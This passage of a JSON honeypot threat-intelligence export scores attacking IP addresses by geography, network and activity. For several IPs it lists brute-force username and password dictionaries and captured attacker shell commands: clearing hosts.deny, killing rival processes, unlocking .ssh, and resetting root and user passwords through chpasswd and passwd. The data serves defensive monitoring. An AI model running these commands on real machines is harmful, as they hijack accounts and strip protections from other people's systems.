      "as_org": "Telecom Argentina S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:42:26.279000+00:00",
        "last_seen_30d": "2026-03-10T02:43:45.746000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.142.147.55": {
      "attack_count": 2,
      "first_seen": "2026-03-23T06:57:03.790Z",
      "last_seen": "2026-03-23T06:57:04.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 59.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2043,
        "days_active_30d": 19,
        "ports_targeted_30d": 584,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T09:55:18+00:00",
        "last_seen_30d": "2026-03-23T12:34:25.822000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1150,
        "Honeytrap": 891,
        "Cowrie": 2
      }
    },
    "198.235.24.122": {
      "attack_count": 2,
      "first_seen": "2026-03-29T19:34:46.187Z",
      "last_seen": "2026-03-29T19:34:46.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T01:06:52+00:00",
        "last_seen_30d": "2026-03-31T11:46:08.437000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 37,
        "Cowrie": 2,
        "Dionaea": 2,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "198.235.24.244": {
      "attack_count": 2,
      "first_seen": "2026-03-09T23:32:23.070Z",
      "last_seen": "2026-03-09T23:32:23.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 27,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T13:43:03.762000+00:00",
        "last_seen_30d": "2026-03-29T20:24:43.345000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 28,
        "Dionaea": 3,
        "ConPot": 2,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "200.124.49.147": {
      "attack_count": 2,
      "first_seen": "2026-03-05T01:07:50.821Z",
      "last_seen": "2026-03-05T01:08:03.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "\u00d1u\u00f1oa",
      "asn": 14259,
      "as_org": "Gtd Internet S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T01:07:50.821000+00:00",
        "last_seen_30d": "2026-03-05T01:09:12.444000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.147.131.161": {
      "attack_count": 2,
      "first_seen": "2026-03-16T11:54:13.934Z",
      "last_seen": "2026-03-16T11:54:26.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 2519,
      "as_org": "ARTERIA Networks Corporation",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T11:54:13.934000+00:00",
        "last_seen_30d": "2026-03-16T11:55:35.259000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.74.1.209": {
      "attack_count": 2,
      "first_seen": "2026-03-22T12:57:06.153Z",
      "last_seen": "2026-03-22T12:57:36.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:57:06.153000+00:00",
        "last_seen_30d": "2026-03-22T12:58:42.274000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "65.49.1.222": {
      "attack_count": 2,
      "first_seen": "2026-03-06T13:22:55.729Z",
      "last_seen": "2026-03-06T13:22:57.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T03:45:55+00:00",
        "last_seen_30d": "2026-03-31T09:14:27.942000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 66,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "66.57.33.142": {
      "attack_count": 2,
      "first_seen": "2026-03-05T08:06:21.771Z",
      "last_seen": "2026-03-05T08:06:34.966Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Advance",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:06:21.771000+00:00",
        "last_seen_30d": "2026-03-05T08:07:40.666000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.92.243.49": {
      "attack_count": 2,
      "first_seen": "2026-03-31T21:11:55.806Z",
      "last_seen": "2026-03-31T21:11:56.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T21:11:55.806000+00:00",
        "last_seen_30d": "2026-03-31T21:13:00.816000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "95.13.23.141": {
      "attack_count": 2,
      "first_seen": "2026-03-13T09:10:55.889Z",
      "last_seen": "2026-03-13T09:12:55.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Merzifon",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T09:10:55.889000+00:00",
        "last_seen_30d": "2026-03-13T09:23:32.700000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.243.174.75": {
      "attack_count": 3528,
      "first_seen": "2026-03-05T03:54:16.913Z",
      "last_seen": "2026-03-05T04:27:01.861Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4948,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T03:54:16.913000+00:00",
        "last_seen_30d": "2026-03-05T04:28:07.426000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3528,
        "Suricata": 1420
      }
    },
    "170.64.227.127": {
      "attack_count": 1215,
      "first_seen": "2026-03-16T02:13:24.960Z",
      "last_seen": "2026-03-16T02:39:36.482Z",
      "sessions": 243,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ftpuser",
        "deployer",
        "kafka",
        "oracle",
        "test",
        "admin",
        "bot",
        "administrator",
        "alex",
        "claude",
        "elasticsearch",
        "frappe",
        "idempiere",
        "info",
        "marketing",
        "osm",
        "radarr",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "password",
        "P@ssw0rd",
        "admin123",
        "p@ssw0rd",
        "1111",
        "12345",
        "claude",
        "marketing",
        "root",
        "soporte",
        "!@#$%^",
        "090786",
        "0987654321",
        "1",
        "1011",
        "111",
        "111111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1709,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T02:13:24.960000+00:00",
        "last_seen_30d": "2026-03-16T02:40:36.993000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1215,
        "Suricata": 494
      }
    },
    "181.116.220.140": {
      "attack_count": 951,
      "first_seen": "2026-03-02T00:01:30.485Z",
      "last_seen": "2026-03-17T17:33:48.873Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "elemental",
        "grid",
        "jason",
        "mamad",
        "nico",
        "rdpuser",
        "sa",
        "soporte",
        "arjun",
        "ayoub",
        "bounce",
        "carlo",
        "centos7",
        "certftp",
        "chat",
        "client",
        "comunicacao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345",
        "1234",
        "12345678",
        "password",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Aa222222",
        "Arjun123!",
        "Deployer123",
        "Mqtt123!",
        "Password1",
        "QWERasdf1234",
        "Qwe123456.",
        "Qweasd123!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nYBdOxbhN7iay\\nYBdOxbhN7iay\\n\"|passwd",
        "echo \"12345\\nqFlVzeuinS9k\\nqFlVzeuinS9k\\n\"|passwd",
        "echo \"Password1\\nCFFeWDfZtJQc\\nCFFeWDfZtJQc\\n\"|passwd",
        "echo \"Soporte123!\\nliHpKRGzGJlA\\nliHpKRGzGJlA\\n\"|passwd",
        "echo \"c123456\\nDzMVAM41ajyN\\nDzMVAM41ajyN\\n\"|passwd",
        "echo \"elemental1234\\nRsVTxMshQ2P8\\nRsVTxMshQ2P8\\n\"|passwd",
        "echo \"mamad@123\\nOrloApxYuKwA\\nOrloApxYuKwA\\n\"|passwd",
        "echo \"rdpuser\\ncEZuNuN5CE6i\\ncEZuNuN5CE6i\\n\"|passwd",
        "echo \"root:pCJ7LGbeJw9S\"|chpasswd|bash",
        "echo \"root:r3SLWL2yjl1A\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1122,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:01:30.485000+00:00",
        "last_seen_30d": "2026-03-17T17:34:57.667000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 951,
        "Suricata": 171
      }
    },
    "190.153.249.99": {
      "attack_count": 690,
      "first_seen": "2026-03-05T04:27:15.577Z",
      "last_seen": "2026-03-27T01:35:15.786Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "samuel",
        "simeon",
        "sysop",
        "amp",
        "andy",
        "ansibleuser",
        "assistant",
        "clawd",
        "deployer",
        "gmod",
        "jupyter",
        "keycloak",
        "kishore",
        "odin",
        "oracle",
        "park",
        "pdx",
        "pilot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "password",
        "123",
        "123123asd",
        "123@123Aa",
        "223344",
        "Andy123!",
        "Bingo@1993",
        "Hello123",
        "Jupyter123",
        "Kishore123",
        "Kk123456",
        "P@ssw1rd",
        "Pass@w0rd.12",
        "Qwer4321",
        "Qwerty123456789",
        "Tms123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:8hf468kaFP6X\"|chpasswd|bash",
        "echo \"root:CmP1IAIVi658\"|chpasswd|bash",
        "echo \"root:Pd4qkGwCbts5\"|chpasswd|bash",
        "echo \"simeonpass\\nMou2PVBjWwkM\\nMou2PVBjWwkM\\n\"|passwd",
        "echo \"sysop123!\\nR8wNa7HzQkr4\\nR8wNa7HzQkr4\\n\"|passwd",
        "echo -e \"simeonpass\\nMou2PVBjWwkM\\nMou2PVBjWwkM\"|passwd|bash",
        "echo -e \"sysop123!\\nR8wNa7HzQkr4\\nR8wNa7HzQkr4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 14259,
      "as_org": "Gtd Internet S.A.",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 889,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:27:15.577000+00:00",
        "last_seen_30d": "2026-03-27T01:36:18.170000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 690,
        "Suricata": 199
      }
    },
    "69.5.189.31": {
      "attack_count": 619,
      "first_seen": "2026-03-05T10:10:55.851Z",
      "last_seen": "2026-03-20T04:04:29.412Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "user",
        "admin",
        "root",
        "dario",
        "jim",
        "user2",
        "user3",
        "aaa",
        "clawd",
        "developer",
        "elastic",
        "email",
        "es",
        "hyun",
        "ibrahim",
        "ivan",
        "jenkins",
        "karan",
        "lek"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "password",
        "12345678",
        "123456Aa!",
        "123qweASD",
        "A123123S",
        "A123456*",
        "A12345671",
        "A123456F",
        "A123456Z",
        "Aa#123456.",
        "Lek123",
        "P@ssw0rd12",
        "P@ssw0rdz",
        "Rs123456",
        "Taibabi123",
        "Tian123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456Aa!\\nnoMtz1gvK2ms\\nnoMtz1gvK2ms\\n\"|passwd",
        "echo \"dario\\n1Tbd9byRm8lp\\n1Tbd9byRm8lp\\n\"|passwd",
        "echo \"password\\nNkpeRA7bHr9a\\nNkpeRA7bHr9a\\n\"|passwd",
        "echo \"password\\nrtqQtx7twRaQ\\nrtqQtx7twRaQ\\n\"|passwd",
        "echo \"user1234\\nk2X2GnQn6SwK\\nk2X2GnQn6SwK\\n\"|passwd",
        "echo \"user2123!\\nBuuQDC5Tqv9E\\nBuuQDC5Tqv9E\\n\"|passwd",
        "echo -e \"123456Aa!\\nnoMtz1gvK2ms\\nnoMtz1gvK2ms\"|passwd|bash",
        "echo -e \"dario\\n1Tbd9byRm8lp\\n1Tbd9byRm8lp\"|passwd|bash",
        "echo -e \"password\\nNkpeRA7bHr9a\\nNkpeRA7bHr9a\"|passwd|bash",
        "echo -e \"password\\nrtqQtx7twRaQ\\nrtqQtx7twRaQ\"|passwd|bash",
        "echo -e \"user1234\\nk2X2GnQn6SwK\\nk2X2GnQn6SwK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 741,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:10:55.851000+00:00",
        "last_seen_30d": "2026-03-20T04:05:35.442000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 619,
        "Suricata": 122
      }
    },
    "51.75.253.68": {
      "attack_count": 617,
      "first_seen": "2026-03-02T02:49:50.743Z",
      "last_seen": "2026-03-11T15:33:53.126Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ankit",
        "claude",
        "labs",
        "nutanix",
        "admin",
        "ay",
        "dan",
        "deploy",
        "don",
        "es",
        "evan",
        "ftpsecure",
        "hadoop",
        "infra",
        "jhpark",
        "linode",
        "manel",
        "mehedi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "1",
        "123",
        "1234",
        "123456",
        "1234567890qwerty",
        "123456aA@",
        "1qazXSW@",
        "77889900",
        "Aa1qingsong.",
        "Admin@12345678",
        "Ankit123",
        "Cloud@2025",
        "Hik12345",
        "Jhpark123",
        "Mehedi123",
        "Pass2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nK3q9vUgqx5BV\\nK3q9vUgqx5BV\\n\"|passwd",
        "echo \"Ankit123\\nSs8qni3R6l2w\\nSs8qni3R6l2w\\n\"|passwd",
        "echo \"claude123\\nhklXb1cTL0iA\\nhklXb1cTL0iA\\n\"|passwd",
        "echo \"nutanix/4u\\nEBGQNGecaAVF\\nEBGQNGecaAVF\\n\"|passwd",
        "echo \"root:F58UV9z8JpmX\"|chpasswd|bash",
        "echo \"root:OgPv89z2Hfjz\"|chpasswd|bash",
        "echo -e \"12345678\\nK3q9vUgqx5BV\\nK3q9vUgqx5BV\"|passwd|bash",
        "echo -e \"Ankit123\\nSs8qni3R6l2w\\nSs8qni3R6l2w\"|passwd|bash",
        "echo -e \"claude123\\nhklXb1cTL0iA\\nhklXb1cTL0iA\"|passwd|bash",
        "echo -e \"nutanix/4u\\nEBGQNGecaAVF\\nEBGQNGecaAVF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 739,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:49:50.743000+00:00",
        "last_seen_30d": "2026-03-11T15:34:55.248000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 617,
        "Suricata": 122
      }
    },
    "159.223.97.53": {
      "attack_count": 553,
      "first_seen": "2026-03-16T19:11:15.725Z",
      "last_seen": "2026-03-16T19:24:54.932Z",
      "sessions": 111,
      "ports": [],
      "usernames_attempted": [
        "root",
        "alex",
        "oracle",
        "ubuntu",
        "123456",
        "abdi",
        "abuse",
        "ace",
        "adam",
        "admin",
        "admin2",
        "administrator",
        "ahmad",
        "ali",
        "allen",
        "andre",
        "anton",
        "arman",
        "aron",
        "backend"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "P@ssw0rd",
        "12345678",
        "password",
        "0909",
        "0987654321",
        "1",
        "111111111",
        "1234567",
        "198600",
        "1q2w3e4r5t",
        "1qaz@WSX3edc",
        "28011988",
        "5555",
